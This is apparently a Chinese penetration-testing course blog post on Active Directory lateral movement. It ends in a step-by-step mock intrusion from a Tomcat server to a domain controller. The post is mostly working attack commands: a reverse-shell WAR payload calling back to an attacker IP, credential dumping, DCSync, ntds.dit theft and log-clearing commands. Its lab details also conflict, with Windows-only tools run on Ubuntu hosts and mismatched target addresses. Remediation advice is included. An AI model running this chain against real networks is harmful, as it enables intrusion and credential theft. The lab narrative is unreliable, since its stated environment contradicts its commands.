内网穿透 横向移动和综合渗透演练

3 阅读8分钟

内网穿透 横向移动和综合渗透演练

马哥教育网络安全课程实战博客 · 第十四篇 对应课程章节:第26章 内网穿透 横向移动和综合渗透演练 实验环境:4台 Ubuntu 24.04 服务器,攻击机 113.47.1.165


一、引言

在建立内网隧道和权限维持之后,攻击者需要在内网中进行横向移动——从一台已控主机跳转到其他主机,逐步扩大控制范围,最终获取关键数据和域控权限。本篇将系统讲解 Windows 域环境下的横向移动技术,并完成一次从外网到内网的综合渗透演练。


二、横向移动技术

横向移动的核心是利用已获取的凭据(密码、Hash、票据)在其他主机上获取访问权限。Windows 域环境下主要围绕 Kerberos 和 NTLM 认证协议展开。

2.1 Pass the Hash(哈希传递)

PtH 攻击利用 NTLM 认证协议的特性:认证过程只需要 NTLM Hash,不需要明文密码。

# 使用 impacket 的 wmiexec 进行 PtH
python3 wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:NTLM_HASH administrator@192.168.1.20

# 使用 CrackMapExec 批量 PtH
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH

# 使用 mimikatz(Windows 环境下)
mimikatz # sekurlsa::pth /user:administrator /domain:corp /ntlm:NTLM_HASH

PtH 原理:

  1. NTLM 认证使用 Hash 而非明文密码
  2. 获取 Hash 后可直接用于认证
  3. 无需破解 Hash 即可横向移动

适用条件:

  • 目标主机启用 SMB 并允许 NTLM 认证
  • 账户有远程登录权限
  • 未启用 SMB 签名限制

2.2 Pass the Ticket(票据传递)

PtT 攻击利用 Kerberos 票据进行认证,无需知道密码或 Hash。

# 使用 mimikatz 导出票据
mimikatz # sekurlsa::tickets /export

# 注入票据
mimikatz # kerberos::ptt ticket.kirbi

# 注入后直接访问目标
dir \\DC01.corp.local\C$

# 使用 Rubeus
Rubeus.exe ptt /ticket:base64_ticket
Rubeus.exe asktgs /ticket:base64_ticket /service:cifs/DC01.corp.local

PtT 原理:

  1. Kerberos 认证使用 TGT/TGS 票据
  2. 获取有效票据后可直接注入当前会话
  3. 注入后以票据对应的身份访问资源

2.3 Overpass the Hash

将 NTLM Hash 转换为 Kerberos 票据,绕过 NTLM 限制。

# 使用 mimikatz
mimikatz # sekurlsa::pth /user:administrator /domain:corp /ntlm:NTLM_HASH /run:cmd.exe
# 在弹出的 cmd 中使用 klist 查看票据

# 使用 Rubeus
Rubeus.exe asktgt /user:administrator /domain:corp /rc4:NTLM_HASH /nowrap

Overpass the Hash 原理:

  1. 用 NTLM Hash 请求 Kerberos TGT
  2. 获取 TGT 后使用 PtT 访问
  3. 适用于禁用 NTLM 但允许 Kerberos 的环境

2.4 SMB/Windows 共享利用

利用 Windows 默认共享进行横向移动。

# 访问默认共享
smbclient //192.168.1.20/C$ -U administrator%password
smbclient //192.168.1.20/ADMIN$ -U administrator%password

# 使用 impacket 的 smbexec
python3 smbexec.py administrator:password@192.168.1.20

# 使用 CrackMapExec 枚举共享
crackmapexec smb 192.168.1.0/24 -u administrator -p password --shares

# 通过共享上传文件
smbclient //192.168.1.20/C$ -U administrator%password -c "put evil.exe Windows\\Temp\\evil.exe"

2.5 RDP 劫持

RDP 劙持利用已断开但未注销的 RDP 会话,无需密码即可接管。

# 查看活跃的 RDP 会话
query user

# 输出示例:
# USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
# admin                 rdp-tcp#0           1  Active          .  2024/1/15 10:00
# user1                                     2  Disc            5  2024/1/15 11:00

# 劫持已断开的会话(需要 SYSTEM 权限)
tscon 2 /dest:rdp-tcp#0

RDP 劫持原理:

  1. 用户断开 RDP 连接但会话仍在后台运行
  2. 以 SYSTEM 权限使用 tscon 命令接管会话
  3. 无需目标用户密码即可进入其桌面

2.6 远程执行技术

2.6.1 PsExec
# impacket 版本
python3 psexec.py administrator:password@192.168.1.20

# 带 Hash 版本
python3 psexec.py -hashes :NTLM_HASH administrator@192.168.1.20

# Sysinternals PsExec
PsExec.exe \\192.168.1.20 -u administrator -p password cmd.exe

PsExec 原理:通过 ADMIN$ 共享上传服务程序,创建并启动远程服务执行命令,完成后清理。

2.6.2 WMI 远程执行
# impacket wmiexec
python3 wmiexec.py administrator:password@192.168.1.20

# 带 Hash
python3 wmiexec.py -hashes :NTLM_HASH administrator@192.168.1.20

# 原生 WMI(PowerShell)
Invoke-WmiMethod -Class Win32_Process -Name Create `
    -ArgumentList "cmd.exe /c whoami > C:\result.txt" `
    -ComputerName 192.168.1.20 -Credential $cred

WMI 优势:不创建服务,不留明显日志,比 PsExec 更隐蔽。

2.6.3 WinRM 远程执行
# evil-winrm 工具
evil-winrm -i 192.168.1.20 -u administrator -p password
evil-winrm -i 192.168.1.20 -u administrator -H NTLM_HASH

# PowerShell WinRM
Enter-PSSession -ComputerName 192.168.1.20 -Credential $cred
Invoke-Command -ComputerName 192.168.1.20 -ScriptBlock { whoami } -Credential $cred

2.7 Kerberoasting

Kerberoasting 攻击针对服务账户,请求 TGS 票据并离线破解获取服务账户密码。

# 使用 Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt

# 使用 impacket
python3 GetUserSPNs.py corp.local/user:password -request

# 破解获取的 Hash
hashcat -m 13100 hashes.txt wordlist.txt

Kerberoasting 原理:

  1. 任何域用户可请求服务账户的 TGS 票据
  2. TGS 票据用服务账户密码的 Hash 加密
  3. 离线破解 TGS 票据获取服务账户明文密码

防御建议:服务账户使用强密码或 gMSA(组托管服务账户)。

2.8 DCSync 攻击

DCSync 攻击模拟域控制器的同步行为,从域控提取所有用户的密码 Hash。

# 使用 mimikatz
mimikatz # lsadump::dcsync /domain:corp.local /user:administrator

# 使用 impacket
python3 secretsdump.py -just-dc corp.local/user:password@DC01.corp.local

# 提取所有用户 Hash
python3 secretsdump.py -just-dc corp.local/user:password@DC01.corp.local -outputfile hashes

DCSync 原理:

  1. 需要拥有 DC 的复制权限(通常为 Domain Admins 或拥有 DCsync 权限的账户)
  2. 调用 DRSGetNCChanges 接口模拟 DC 复制
  3. 获取域内所有用户的 NTLM Hash 和 Kerberos 密钥

DCSync 权限要求:

  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All
  • 通常 Domain Admins 或 Exchange Windows Permissions 组拥有此权限

三、综合渗透演练

3.1 场景描述

攻击机: 113.47.1.165 (公网)
  │
  ├─① 外网 Web 服务器: 192.168.1.10 (Ubuntu 24.04, Web 服务)
  │     │
  │     ├─② 内网应用服务器: 192.168.2.20 (Ubuntu 24.04, 数据库)
  │     │     │
  │     │     └─④ 域控服务器: 192.168.3.30 (Ubuntu 24.04, Samba AD)
  │     │
  │     └─③ 内网文件服务器: 192.168.2.30 (Ubuntu 24.04, SMB 共享)

目标:从公网攻击机出发,逐步渗透到域控,获取域内所有用户凭据。

3.2 第一阶段:侦察

# 外网端口扫描
nmap -sS -sV -p- 113.47.1.166

# 发现开放端口:
# 22/tcp   open  ssh
# 80/tcp   open  http  (nginx)
# 8080/tcp open  http-proxy (Tomcat)

# Web 服务探测
curl http://113.47.1.166/
nikto -h http://113.47.1.166:8080/

# 目录爆破
gobuster dir -u http://113.47.1.166:8080/ -w /usr/share/wordlists/dirb/common.txt
# 发现 /manager/html (Tomcat 管理后台)

3.3 第二阶段:初始访问

# Tomcat 管理后台弱口令
curl -u tomcat:tomcat http://113.47.1.166:8080/manager/html
# 登录成功

# 部署恶意 WAR 包获取 Web Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=113.47.1.165 LPORT=4444 -f war -o shell.war
curl -u tomcat:tomcat --upload-file shell.war http://113.47.1.166:8080/manager/text/deploy?path=/shell

# 获取反弹 shell
nc -lvnp 4444
# 触发: curl http://113.47.1.166:8080/shell/

# 升级到交互式 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

3.4 第三阶段:权限提升

# 当前权限: tomcat 用户
whoami  # tomcat
id     # uid=1001(tomcat)

# 查找 SUID 程序
find / -perm -4000 -type f 2>/dev/null
# 发现 /usr/bin/find 具有 SUID

# 利用 find 提权
/usr/bin/find . -exec /bin/sh \; -quit
whoami  # root

# 或利用内核漏洞
uname -r  # 6.5.0-xx
# 搜索对应内核版本的提权 exploit

3.5 第四阶段:内网探测

# 获取 root 后,探测内网
ip addr  # 192.168.1.10, 192.168.2.10

# 安装 FRP 建立隧道(参考上一篇)
# 攻击机 SOCKS 代理端口 1080

# 通过代理扫描内网网段
proxychains4 nmap -sT -Pn -p 22,80,445,1433,3306 192.168.2.0/24

# 发现:
# 192.168.2.20: 22, 3306 (MySQL)
# 192.168.2.30: 22, 445 (SMB)
# 192.168.3.30: 22, 445, 389, 636 (Samba AD 域控)

3.6 第五阶段:横向移动

# 通过代理连接内网 MySQL
proxychains4 mysql -h 192.168.2.20 -u root -p
# 发现数据库中存储了应用配置文件,包含内网 SSH 凭据

# 使用获取的凭据 SSH 到文件服务器
proxychains4 ssh appuser@192.168.2.30
# appuser 密码: App@2024!

# 在文件服务器上发现域用户凭据
cat /home/appuser/.config/credentials.txt
# 域用户: corp\\jwang  密码: Jw@ng2024!

# 使用域用户凭据访问域控
proxychains4 smbclient //192.168.3.30/NETLOGON -U corp\\jwang%Jw@ng2024!

# Kerberoasting 获取服务账户 Hash
proxychains4 python3 GetUserSPNs.py corp.local/jwang:Jw@ng2024! -dc-ip 192.168.3.30 -request
# 获取 sqlservice 账户 TGS Hash

# 离线破解
hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt
# 破解成功: sqlservice: SqlS@ervice!

3.7 第六阶段:获取域控

# sqlservice 账户可能有 DCSync 权限
proxychains4 python3 secretsdump.py corp.local/sqlservice:SqlS@ervice!@192.168.3.30 -just-dc

# 输出域内所有用户 Hash:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8af0c4c...:::
# ...

# 使用 Administrator Hash 通过 PtH 获取域控 shell
proxychains4 python3 wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.3.30

3.8 第七阶段:数据窃取

# 在域控上提取域数据库
proxychains4 python3 secretsdump.py corp.local/sqlservice:SqlS@ervice!@192.168.3.30 -output-file domain_dump

# 获取所有用户密码 Hash
# 导出 ntds.dit
# wmiexec> ntdsutil "ac i ntds" "ifm" "create full C:\temp\dump" q q

# 通过 SMB 下载 dump 文件
proxychains4 smbclient //192.168.3.30/C$ -U corp\\sqlservice%SqlS@ervice! -c "cd temp\\dump; get ntds.dit /tmp/ntds.dit"

# 离线提取 Hash
python3 secretsdump.py -ntds /tmp/ntds.dit -system /tmp/SYSTEM LOCAL

3.9 攻击链总结

外网侦察 → Tomcat 弱口令 → Web Shell → SUID 提权 → root
    → FRP 隧道 → 内网扫描 → MySQL 凭据 → SSH 横向
    → 域用户凭据 → Kerberoasting → 服务账户密码
    → DCSync → 域控 Hash → PtH → 域控 Shell → 数据窃取

四、后渗透与报告

4.1 后渗透操作

# 权限维持(参考第十三篇)
# 在每台已控主机上建立持久化后门

# 数据收集
# - 域内用户列表和 Hash
# - 关键业务数据库
# - 配置文件中的敏感信息
# - 网络拓扑信息

# 清理痕迹
# - 清除安全日志: wevtutil cl Security
# - 清除系统日志: wevtutil cl System
# - 清除命令历史: history -c && rm ~/.bash_history

4.2 渗透测试报告

报告应包含以下核心内容:

1. 执行摘要

  • 测试范围和时间
  • 总体安全评估等级
  • 关键发现概述

2. 漏洞详情

编号漏洞名称严重程度影响主机CVSS
V-01Tomcat 弱口令高192.168.1.107.5
V-02SUID 提权高192.168.1.107.8
V-03凭据存储不当中192.168.2.206.5
V-04Kerberoasting中192.168.3.306.0
V-05DCSync 权限过大严重192.168.3.309.0

3. 攻击路径

  • 详细描述从外网到域控的完整攻击链
  • 每一步使用的技术和工具
  • 每一步获取的权限和数据

4. 修复建议

  • 修改 Tomcat 默认密码,实施强密码策略
  • 修复 SUID 权限配置,定期审计
  • 数据库中禁止明文存储凭据
  • 服务账户使用 gMSA 或 25 字符以上强密码
  • 收紧 DCSync 权限,仅 Domain Admins 拥有
  • 实施网络分段,限制横向移动路径
  • 部署 EDR/HIDS 检测异常行为

五、总结

横向移动是内网渗透的核心环节,Windows 域环境下的攻击技术尤为丰富。本次综合演练展示了完整的攻击链:从外网弱口令到域控沦陷,涵盖了侦察、初始访问、提权、隧道建立、横向移动、域控获取和数据窃取的全过程。

关键防御措施:

  1. 凭据保护:禁用 NTLM,启用 SMB 签名,使用 LAPS 管理本地管理员密码
  2. 权限最小化:收紧 DCSync 权限,服务账户使用 gMSA
  3. 网络分段:限制非必要的跨网段通信
  4. 监控告警:监控 Kerberos 异常请求、远程执行行为
  5. 凭据存储:禁止在配置文件和数据库中明文存储密码
  6. 补丁管理:及时安装安全更新,修复已知漏洞

下一篇我们将从防御视角出发,讲解应急响应实战。


免责声明:本文所有技术内容仅用于安全教育和授权渗透测试。未经授权对他人系统进行渗透测试属于违法行为。